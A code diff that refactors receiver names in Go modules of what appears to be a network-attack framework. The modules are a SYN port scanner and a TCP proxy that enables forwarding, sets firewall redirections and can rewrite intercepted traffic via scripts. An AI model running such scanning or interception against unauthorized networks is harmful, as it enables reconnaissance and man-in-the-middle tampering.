mod.AddHandler(session.NewModuleHandler("syn.scan IP-RANGE [START-PORT] [END-PORT]", "syn.scan ([^\\s]+) ?(\\d+)?([\\s\\d]*)?",
|
||||||
"Perform a syn port scanning against an IP address within the provided ports range.",
|
"Perform a syn port scanning against an IP address within the provided ports range.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
period := 0
|
period := 0
|
||||||
if ss.Running() {
|
if mod.Running() {
|
||||||
return fmt.Errorf("A scan is already running, wait for it to end before starting a new one.")
|
return fmt.Errorf("A scan is already running, wait for it to end before starting a new one.")
|
||||||
} else if err := ss.parseTargets(args[0]); err != nil {
|
} else if err := mod.parseTargets(args[0]); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err = ss.parsePorts(args); err != nil {
|
} else if err = mod.parsePorts(args); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, period = ss.IntParam("syn.scan.show-progress-every"); err != nil {
|
} else if err, period = mod.IntParam("syn.scan.show-progress-every"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
ss.progressEvery = time.Duration(period) * time.Second
|
mod.progressEvery = time.Duration(period) * time.Second
|
||||||
}
|
}
|
||||||
return ss.synScan()
|
return mod.synScan()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
ss.AddHandler(session.NewModuleHandler("syn.scan.progress", "syn\\.scan\\.progress",
|
mod.AddHandler(session.NewModuleHandler("syn.scan.progress", "syn\\.scan\\.progress",
|
||||||
"Print progress of the current syn scanning session.",
|
"Print progress of the current syn scanning session.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if !ss.Running() {
|
if !mod.Running() {
|
||||||
return fmt.Errorf("no syn.scan is running")
|
return fmt.Errorf("no syn.scan is running")
|
||||||
}
|
}
|
||||||
return ss.showProgress()
|
return mod.showProgress()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return ss
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) parseTargets(arg string) error {
|
func (mod *SynScanner) parseTargets(arg string) error {
|
||||||
if list, err := iprange.Parse(arg); err != nil {
|
if list, err := iprange.Parse(arg); err != nil {
|
||||||
return fmt.Errorf("error while parsing IP range '%s': %s", arg, err)
|
return fmt.Errorf("error while parsing IP range '%s': %s", arg, err)
|
||||||
} else {
|
} else {
|
||||||
s.addresses = list.Expand()
|
mod.addresses = list.Expand()
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) parsePorts(args []string) (err error) {
|
func (mod *SynScanner) parsePorts(args []string) (err error) {
|
||||||
argc := len(args)
|
argc := len(args)
|
||||||
s.stats.totProbes = 0
|
mod.stats.totProbes = 0
|
||||||
s.stats.doneProbes = 0
|
mod.stats.doneProbes = 0
|
||||||
s.startPort = 1
|
mod.startPort = 1
|
||||||
s.endPort = 65535
|
mod.endPort = 65535
|
||||||
|
|
||||||
if argc > 1 && str.Trim(args[1]) != "" {
|
if argc > 1 && str.Trim(args[1]) != "" {
|
||||||
if s.startPort, err = strconv.Atoi(str.Trim(args[1])); err != nil {
|
if mod.startPort, err = strconv.Atoi(str.Trim(args[1])); err != nil {
|
||||||
return fmt.Errorf("invalid start port %s: %s", args[1], err)
|
return fmt.Errorf("invalid start port %s: %s", args[1], err)
|
||||||
} else if s.startPort > 65535 {
|
} else if mod.startPort > 65535 {
|
||||||
s.startPort = 65535
|
mod.startPort = 65535
|
||||||
}
|
}
|
||||||
s.endPort = s.startPort
|
mod.endPort = mod.startPort
|
||||||
}
|
}
|
||||||
|
|
||||||
if argc > 2 && str.Trim(args[2]) != "" {
|
if argc > 2 && str.Trim(args[2]) != "" {
|
||||||
if s.endPort, err = strconv.Atoi(str.Trim(args[2])); err != nil {
|
if mod.endPort, err = strconv.Atoi(str.Trim(args[2])); err != nil {
|
||||||
return fmt.Errorf("invalid end port %s: %s", args[2], err)
|
return fmt.Errorf("invalid end port %s: %s", args[2], err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if s.endPort < s.startPort {
|
if mod.endPort < mod.startPort {
|
||||||
return fmt.Errorf("end port %d is greater than start port %d", s.endPort, s.startPort)
|
return fmt.Errorf("end port %d is greater than start port %d", mod.endPort, mod.startPort)
|
||||||
}
|
}
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) Name() string {
|
func (mod *SynScanner) Name() string {
|
||||||
return "syn.scan"
|
return "syn.scan"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) Description() string {
|
func (mod *SynScanner) Description() string {
|
||||||
return "A module to perform SYN port scanning."
|
return "A module to perform SYN port scanning."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) Author() string {
|
func (mod *SynScanner) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) Configure() error {
|
func (mod *SynScanner) Configure() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) Start() error {
|
func (mod *SynScanner) Start() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -153,62 +153,62 @@ func plural(n uint64) string {
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) showProgress() error {
|
func (mod *SynScanner) showProgress() error {
|
||||||
progress := 100.0 * (float64(s.stats.doneProbes) / float64(s.stats.totProbes))
|
progress := 100.0 * (float64(mod.stats.doneProbes) / float64(mod.stats.totProbes))
|
||||||
s.Info("[%.2f%%] found %d open port%s for %d address%s, sent %d/%d packets in %s",
|
mod.Info("[%.2f%%] found %d open port%s for %d address%s, sent %d/%d packets in %s",
|
||||||
progress,
|
progress,
|
||||||
s.stats.openPorts,
|
mod.stats.openPorts,
|
||||||
plural(s.stats.openPorts),
|
plural(mod.stats.openPorts),
|
||||||
s.stats.numAddresses,
|
mod.stats.numAddresses,
|
||||||
plural(s.stats.numAddresses),
|
plural(mod.stats.numAddresses),
|
||||||
s.stats.doneProbes,
|
mod.stats.doneProbes,
|
||||||
s.stats.totProbes,
|
mod.stats.totProbes,
|
||||||
time.Since(s.stats.started))
|
time.Since(mod.stats.started))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) Stop() error {
|
func (mod *SynScanner) Stop() error {
|
||||||
s.Info("stopping ...")
|
mod.Info("stopping ...")
|
||||||
return s.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
s.waitGroup.Wait()
|
mod.waitGroup.Wait()
|
||||||
s.showProgress()
|
mod.showProgress()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) synScan() error {
|
func (mod *SynScanner) synScan() error {
|
||||||
s.SetRunning(true, func() {
|
mod.SetRunning(true, func() {
|
||||||
defer s.SetRunning(false, nil)
|
defer mod.SetRunning(false, nil)
|
||||||
|
|
||||||
s.waitGroup.Add(1)
|
mod.waitGroup.Add(1)
|
||||||
defer s.waitGroup.Done()
|
defer mod.waitGroup.Done()
|
||||||
|
|
||||||
s.stats.openPorts = 0
|
mod.stats.openPorts = 0
|
||||||
s.stats.numPorts = uint64(s.endPort - s.startPort + 1)
|
mod.stats.numPorts = uint64(mod.endPort - mod.startPort + 1)
|
||||||
s.stats.started = time.Now()
|
mod.stats.started = time.Now()
|
||||||
s.stats.numAddresses = uint64(len(s.addresses))
|
mod.stats.numAddresses = uint64(len(mod.addresses))
|
||||||
s.stats.totProbes = s.stats.numAddresses * s.stats.numPorts
|
mod.stats.totProbes = mod.stats.numAddresses * mod.stats.numPorts
|
||||||
s.stats.doneProbes = 0
|
mod.stats.doneProbes = 0
|
||||||
plural := "es"
|
plural := "es"
|
||||||
if s.stats.numAddresses == 1 {
|
if mod.stats.numAddresses == 1 {
|
||||||
plural = ""
|
plural = ""
|
||||||
}
|
}
|
||||||
|
|
||||||
if s.stats.numPorts > 1 {
|
if mod.stats.numPorts > 1 {
|
||||||
s.Info("scanning %d address%s from port %d to port %d ...", s.stats.numAddresses, plural, s.startPort, s.endPort)
|
mod.Info("scanning %d address%s from port %d to port %d ...", mod.stats.numAddresses, plural, mod.startPort, mod.endPort)
|
||||||
} else {
|
} else {
|
||||||
s.Info("scanning %d address%s on port %d ...", s.stats.numAddresses, plural, s.startPort)
|
mod.Info("scanning %d address%s on port %d ...", mod.stats.numAddresses, plural, mod.startPort)
|
||||||
}
|
}
|
||||||
|
|
||||||
// set the collector
|
// set the collector
|
||||||
s.Session.Queue.OnPacket(s.onPacket)
|
mod.Session.Queue.OnPacket(mod.onPacket)
|
||||||
defer s.Session.Queue.OnPacket(nil)
|
defer mod.Session.Queue.OnPacket(nil)
|
||||||
|
|
||||||
// start to show progress every second
|
// start to show progress every second
|
||||||
go func() {
|
go func() {
|
||||||
for {
|
for {
|
||||||
time.Sleep(s.progressEvery)
|
time.Sleep(mod.progressEvery)
|
||||||
if s.Running() {
|
if mod.Running() {
|
||||||
s.showProgress()
|
mod.showProgress()
|
||||||
} else {
|
} else {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
@ -216,34 +216,34 @@ func (s *SynScanner) synScan() error {
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// start sending SYN packets and wait
|
// start sending SYN packets and wait
|
||||||
for _, address := range s.addresses {
|
for _, address := range mod.addresses {
|
||||||
if !s.Running() {
|
if !mod.Running() {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
mac, err := s.Session.FindMAC(address, true)
|
mac, err := mod.Session.FindMAC(address, true)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
atomic.AddUint64(&s.stats.doneProbes, s.stats.numPorts)
|
atomic.AddUint64(&mod.stats.doneProbes, mod.stats.numPorts)
|
||||||
s.Debug("could not get MAC for %s: %s", address.String(), err)
|
mod.Debug("could not get MAC for %s: %s", address.String(), err)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
for dstPort := s.startPort; dstPort < s.endPort+1; dstPort++ {
|
for dstPort := mod.startPort; dstPort < mod.endPort+1; dstPort++ {
|
||||||
if !s.Running() {
|
if !mod.Running() {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
atomic.AddUint64(&s.stats.doneProbes, 1)
|
atomic.AddUint64(&mod.stats.doneProbes, 1)
|
||||||
|
|
||||||
err, raw := packets.NewTCPSyn(s.Session.Interface.IP, s.Session.Interface.HW, address, mac, synSourcePort, dstPort)
|
err, raw := packets.NewTCPSyn(mod.Session.Interface.IP, mod.Session.Interface.HW, address, mac, synSourcePort, dstPort)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("error creating SYN packet: %s", err)
|
mod.Error("error creating SYN packet: %s", err)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := s.Session.Queue.Send(raw); err != nil {
|
if err := mod.Session.Queue.Send(raw); err != nil {
|
||||||
s.Error("error sending SYN packet: %s", err)
|
mod.Error("error sending SYN packet: %s", err)
|
||||||
} else {
|
} else {
|
||||||
s.Debug("sent %d bytes of SYN packet to %s for port %d", len(raw), address.String(), dstPort)
|
mod.Debug("sent %d bytes of SYN packet to %s for port %d", len(raw), address.String(), dstPort)
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(time.Duration(10) * time.Millisecond)
|
time.Sleep(time.Duration(10) * time.Millisecond)
|
||||||
|
|
|
@ -10,8 +10,8 @@ import (
|
||||||
"github.com/google/gopacket/layers"
|
"github.com/google/gopacket/layers"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (s *SynScanner) isAddressInRange(ip net.IP) bool {
|
func (mod *SynScanner) isAddressInRange(ip net.IP) bool {
|
||||||
for _, a := range s.addresses {
|
for _, a := range mod.addresses {
|
||||||
if a.Equal(ip) {
|
if a.Equal(ip) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
@ -19,7 +19,7 @@ func (s *SynScanner) isAddressInRange(ip net.IP) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *SynScanner) onPacket(pkt gopacket.Packet) {
|
func (mod *SynScanner) onPacket(pkt gopacket.Packet) {
|
||||||
var eth layers.Ethernet
|
var eth layers.Ethernet
|
||||||
var ip layers.IPv4
|
var ip layers.IPv4
|
||||||
var tcp layers.TCP
|
var tcp layers.TCP
|
||||||
|
@ -37,19 +37,19 @@ func (s *SynScanner) onPacket(pkt gopacket.Packet) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if s.isAddressInRange(ip.SrcIP) && tcp.DstPort == synSourcePort && tcp.SYN && tcp.ACK {
|
if mod.isAddressInRange(ip.SrcIP) && tcp.DstPort == synSourcePort && tcp.SYN && tcp.ACK {
|
||||||
atomic.AddUint64(&s.stats.openPorts, 1)
|
atomic.AddUint64(&mod.stats.openPorts, 1)
|
||||||
|
|
||||||
from := ip.SrcIP.String()
|
from := ip.SrcIP.String()
|
||||||
port := int(tcp.SrcPort)
|
port := int(tcp.SrcPort)
|
||||||
|
|
||||||
var host *network.Endpoint
|
var host *network.Endpoint
|
||||||
if ip.SrcIP.Equal(s.Session.Interface.IP) {
|
if ip.SrcIP.Equal(mod.Session.Interface.IP) {
|
||||||
host = s.Session.Interface
|
host = mod.Session.Interface
|
||||||
} else if ip.SrcIP.Equal(s.Session.Gateway.IP) {
|
} else if ip.SrcIP.Equal(mod.Session.Gateway.IP) {
|
||||||
host = s.Session.Gateway
|
host = mod.Session.Gateway
|
||||||
} else {
|
} else {
|
||||||
host = s.Session.Lan.GetByIp(from)
|
host = mod.Session.Lan.GetByIp(from)
|
||||||
}
|
}
|
||||||
|
|
||||||
if host != nil {
|
if host != nil {
|
||||||
|
|
|
@ -21,70 +21,70 @@ type TcpProxy struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewTcpProxy(s *session.Session) *TcpProxy {
|
func NewTcpProxy(s *session.Session) *TcpProxy {
|
||||||
p := &TcpProxy{
|
mod := &TcpProxy{
|
||||||
SessionModule: session.NewSessionModule("tcp.proxy", s),
|
SessionModule: session.NewSessionModule("tcp.proxy", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("tcp.port",
|
mod.AddParam(session.NewIntParameter("tcp.port",
|
||||||
"443",
|
"443",
|
||||||
"Remote port to redirect when the TCP proxy is activated."))
|
"Remote port to redirect when the TCP proxy is activated."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("tcp.address",
|
mod.AddParam(session.NewStringParameter("tcp.address",
|
||||||
"",
|
"",
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Remote address of the TCP proxy."))
|
"Remote address of the TCP proxy."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("tcp.proxy.address",
|
mod.AddParam(session.NewStringParameter("tcp.proxy.address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Address to bind the TCP proxy to."))
|
"Address to bind the TCP proxy to."))
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("tcp.proxy.port",
|
mod.AddParam(session.NewIntParameter("tcp.proxy.port",
|
||||||
"8443",
|
"8443",
|
||||||
"Port to bind the TCP proxy to."))
|
"Port to bind the TCP proxy to."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("tcp.proxy.script",
|
mod.AddParam(session.NewStringParameter("tcp.proxy.script",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"Path of a TCP proxy JS script."))
|
"Path of a TCP proxy JS script."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("tcp.tunnel.address",
|
mod.AddParam(session.NewStringParameter("tcp.tunnel.address",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"Address to redirect the TCP tunnel to (optional)."))
|
"Address to redirect the TCP tunnel to (optional)."))
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("tcp.tunnel.port",
|
mod.AddParam(session.NewIntParameter("tcp.tunnel.port",
|
||||||
"0",
|
"0",
|
||||||
"Port to redirect the TCP tunnel to (optional)."))
|
"Port to redirect the TCP tunnel to (optional)."))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("tcp.proxy on", "",
|
mod.AddHandler(session.NewModuleHandler("tcp.proxy on", "",
|
||||||
"Start TCP proxy.",
|
"Start TCP proxy.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("tcp.proxy off", "",
|
mod.AddHandler(session.NewModuleHandler("tcp.proxy off", "",
|
||||||
"Stop TCP proxy.",
|
"Stop TCP proxy.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return p
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TcpProxy) Name() string {
|
func (mod *TcpProxy) Name() string {
|
||||||
return "tcp.proxy"
|
return "tcp.proxy"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TcpProxy) Description() string {
|
func (mod *TcpProxy) Description() string {
|
||||||
return "A full featured TCP proxy and tunnel, all TCP traffic to a given remote address and port will be redirected to it."
|
return "A full featured TCP proxy and tunnel, all TCP traffic to a given remote address and port will be redirected to it."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TcpProxy) Author() string {
|
func (mod *TcpProxy) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TcpProxy) Configure() error {
|
func (mod *TcpProxy) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var port int
|
var port int
|
||||||
var proxyPort int
|
var proxyPort int
|
||||||
|
@ -94,63 +94,63 @@ func (p *TcpProxy) Configure() error {
|
||||||
var tunnelAddress string
|
var tunnelAddress string
|
||||||
var tunnelPort int
|
var tunnelPort int
|
||||||
|
|
||||||
if p.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, address = p.StringParam("tcp.address"); err != nil {
|
} else if err, address = mod.StringParam("tcp.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, proxyAddress = p.StringParam("tcp.proxy.address"); err != nil {
|
} else if err, proxyAddress = mod.StringParam("tcp.proxy.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, proxyPort = p.IntParam("tcp.proxy.port"); err != nil {
|
} else if err, proxyPort = mod.IntParam("tcp.proxy.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, port = p.IntParam("tcp.port"); err != nil {
|
} else if err, port = mod.IntParam("tcp.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, tunnelAddress = p.StringParam("tcp.tunnel.address"); err != nil {
|
} else if err, tunnelAddress = mod.StringParam("tcp.tunnel.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, tunnelPort = p.IntParam("tcp.tunnel.port"); err != nil {
|
} else if err, tunnelPort = mod.IntParam("tcp.tunnel.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, scriptPath = p.StringParam("tcp.proxy.script"); err != nil {
|
} else if err, scriptPath = mod.StringParam("tcp.proxy.script"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if p.localAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", proxyAddress, proxyPort)); err != nil {
|
} else if mod.localAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", proxyAddress, proxyPort)); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if p.remoteAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
|
} else if mod.remoteAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if p.tunnelAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", tunnelAddress, tunnelPort)); err != nil {
|
} else if mod.tunnelAddr, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", tunnelAddress, tunnelPort)); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if p.listener, err = net.ListenTCP("tcp", p.localAddr); err != nil {
|
} else if mod.listener, err = net.ListenTCP("tcp", mod.localAddr); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if scriptPath != "" {
|
if scriptPath != "" {
|
||||||
if err, p.script = LoadTcpProxyScript(scriptPath, p.Session); err != nil {
|
if err, mod.script = LoadTcpProxyScript(scriptPath, mod.Session); err != nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
p.Debug("script %s loaded.", scriptPath)
|
mod.Debug("script %s loaded.", scriptPath)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if !p.Session.Firewall.IsForwardingEnabled() {
|
if !mod.Session.Firewall.IsForwardingEnabled() {
|
||||||
p.Info("enabling forwarding.")
|
mod.Info("enabling forwarding.")
|
||||||
p.Session.Firewall.EnableForwarding(true)
|
mod.Session.Firewall.EnableForwarding(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
p.Redirection = firewall.NewRedirection(p.Session.Interface.Name(),
|
mod.Redirection = firewall.NewRedirection(mod.Session.Interface.Name(),
|
||||||
"TCP",
|
"TCP",
|
||||||
port,
|
port,
|
||||||
proxyAddress,
|
proxyAddress,
|
||||||
proxyPort)
|
proxyPort)
|
||||||
|
|
||||||
p.Redirection.SrcAddress = address
|
mod.Redirection.SrcAddress = address
|
||||||
|
|
||||||
if err := p.Session.Firewall.EnableRedirection(p.Redirection, true); err != nil {
|
if err := mod.Session.Firewall.EnableRedirection(mod.Redirection, true); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
p.Debug("applied redirection %s", p.Redirection.String())
|
mod.Debug("applied redirection %s", mod.Redirection.String())
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TcpProxy) doPipe(from, to net.Addr, src, dst io.ReadWriter, wg *sync.WaitGroup) {
|
func (mod *TcpProxy) doPipe(from, to net.Addr, src, dst io.ReadWriter, wg *sync.WaitGroup) {
|
||||||
defer wg.Done()
|
defer wg.Done()
|
||||||
|
|
||||||
buff := make([]byte, 0xffff)
|
buff := make([]byte, 0xffff)
|
||||||
|
@ -158,18 +158,18 @@ func (p *TcpProxy) doPipe(from, to net.Addr, src, dst io.ReadWriter, wg *sync.Wa
|
||||||
n, err := src.Read(buff)
|
n, err := src.Read(buff)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if err.Error() != "EOF" {
|
if err.Error() != "EOF" {
|
||||||
p.Warning("read failed: %s", err)
|
mod.Warning("read failed: %s", err)
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
b := buff[:n]
|
b := buff[:n]
|
||||||
|
|
||||||
if p.script != nil {
|
if mod.script != nil {
|
||||||
ret := p.script.OnData(from, to, b)
|
ret := mod.script.OnData(from, to, b)
|
||||||
|
|
||||||
if ret != nil {
|
if ret != nil {
|
||||||
nret := len(ret)
|
nret := len(ret)
|
||||||
p.Info("overriding %d bytes of data from %s to %s with %d bytes of new data.",
|
mod.Info("overriding %d bytes of data from %s to %s with %d bytes of new data.",
|
||||||
n, from.String(), to.String(), nret)
|
n, from.String(), to.String(), nret)
|
||||||
b = make([]byte, nret)
|
b = make([]byte, nret)
|
||||||
copy(b, ret)
|
copy(b, ret)
|
||||||
|
@ -178,28 +178,28 @@ func (p *TcpProxy) doPipe(from, to net.Addr, src, dst io.ReadWriter, wg *sync.Wa
|
||||||
|
|
||||||
n, err = dst.Write(b)
|
n, err = dst.Write(b)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
p.Warning("write failed: %s", err)
|
mod.Warning("write failed: %s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
p.Debug("%s -> %s : %d bytes", from.String(), to.String(), n)
|
mod.Debug("%s -> %s : %d bytes", from.String(), to.String(), n)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TcpProxy) handleConnection(c *net.TCPConn) {
|
func (mod *TcpProxy) handleConnection(c *net.TCPConn) {
|
||||||
defer c.Close()
|
defer c.Close()
|
||||||
|
|
||||||
p.Info("got a connection from %s", c.RemoteAddr().String())
|
mod.Info("got a connection from %s", c.RemoteAddr().String())
|
||||||
|
|
||||||
// tcp tunnel enabled
|
// tcp tunnel enabled
|
||||||
if p.tunnelAddr.IP.To4() != nil {
|
if mod.tunnelAddr.IP.To4() != nil {
|
||||||
p.Info("tcp tunnel started ( %s -> %s )", p.remoteAddr.String(), p.tunnelAddr.String())
|
mod.Info("tcp tunnel started ( %s -> %s )", mod.remoteAddr.String(), mod.tunnelAddr.String())
|
||||||
p.remoteAddr = p.tunnelAddr
|
mod.remoteAddr = mod.tunnelAddr
|
||||||
}
|
}
|
||||||
|
|
||||||
remote, err := net.DialTCP("tcp", nil, p.remoteAddr)
|
remote, err := net.DialTCP("tcp", nil, mod.remoteAddr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
p.Warning("error while connecting to remote %s: %s", p.remoteAddr.String(), err)
|
mod.Warning("error while connecting to remote %s: %s", mod.remoteAddr.String(), err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer remote.Close()
|
defer remote.Close()
|
||||||
|
@ -208,43 +208,43 @@ func (p *TcpProxy) handleConnection(c *net.TCPConn) {
|
||||||
wg.Add(2)
|
wg.Add(2)
|
||||||
|
|
||||||
// start pipeing
|
// start pipeing
|
||||||
go p.doPipe(c.RemoteAddr(), p.remoteAddr, c, remote, &wg)
|
go mod.doPipe(c.RemoteAddr(), mod.remoteAddr, c, remote, &wg)
|
||||||
go p.doPipe(p.remoteAddr, c.RemoteAddr(), remote, c, &wg)
|
go mod.doPipe(mod.remoteAddr, c.RemoteAddr(), remote, c, &wg)
|
||||||
|
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TcpProxy) Start() error {
|
func (mod *TcpProxy) Start() error {
|
||||||
if err := p.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
p.Info("started ( x -> %s -> %s )", p.localAddr.String(), p.remoteAddr.String())
|
mod.Info("started ( x -> %s -> %s )", mod.localAddr.String(), mod.remoteAddr.String())
|
||||||
|
|
||||||
for p.Running() {
|
for mod.Running() {
|
||||||
conn, err := p.listener.AcceptTCP()
|
conn, err := mod.listener.AcceptTCP()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
p.Warning("error while accepting TCP connection: %s", err)
|
mod.Warning("error while accepting TCP connection: %s", err)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
go p.handleConnection(conn)
|
go mod.handleConnection(conn)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *TcpProxy) Stop() error {
|
func (mod *TcpProxy) Stop() error {
|
||||||
|
|
||||||
if p.Redirection != nil {
|
if mod.Redirection != nil {
|
||||||
p.Debug("disabling redirection %s", p.Redirection.String())
|
mod.Debug("disabling redirection %s", mod.Redirection.String())
|
||||||
if err := p.Session.Firewall.EnableRedirection(p.Redirection, false); err != nil {
|
if err := mod.Session.Firewall.EnableRedirection(mod.Redirection, false); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
p.Redirection = nil
|
mod.Redirection = nil
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
p.listener.Close()
|
mod.listener.Close()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -13,87 +13,87 @@ type Ticker struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewTicker(s *session.Session) *Ticker {
|
func NewTicker(s *session.Session) *Ticker {
|
||||||
t := &Ticker{
|
mod := &Ticker{
|
||||||
SessionModule: session.NewSessionModule("ticker", s),
|
SessionModule: session.NewSessionModule("ticker", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
t.AddParam(session.NewStringParameter("ticker.commands",
|
mod.AddParam(session.NewStringParameter("ticker.commands",
|
||||||
"clear; net.show; events.show 20",
|
"clear; net.show; events.show 20",
|
||||||
"",
|
"",
|
||||||
"List of commands separated by a ;"))
|
"List of commands separated by a ;"))
|
||||||
|
|
||||||
t.AddParam(session.NewIntParameter("ticker.period",
|
mod.AddParam(session.NewIntParameter("ticker.period",
|
||||||
"1",
|
"1",
|
||||||
"Ticker period in seconds"))
|
"Ticker period in seconds"))
|
||||||
|
|
||||||
t.AddHandler(session.NewModuleHandler("ticker on", "",
|
mod.AddHandler(session.NewModuleHandler("ticker on", "",
|
||||||
"Start the ticker.",
|
"Start the ticker.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return t.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
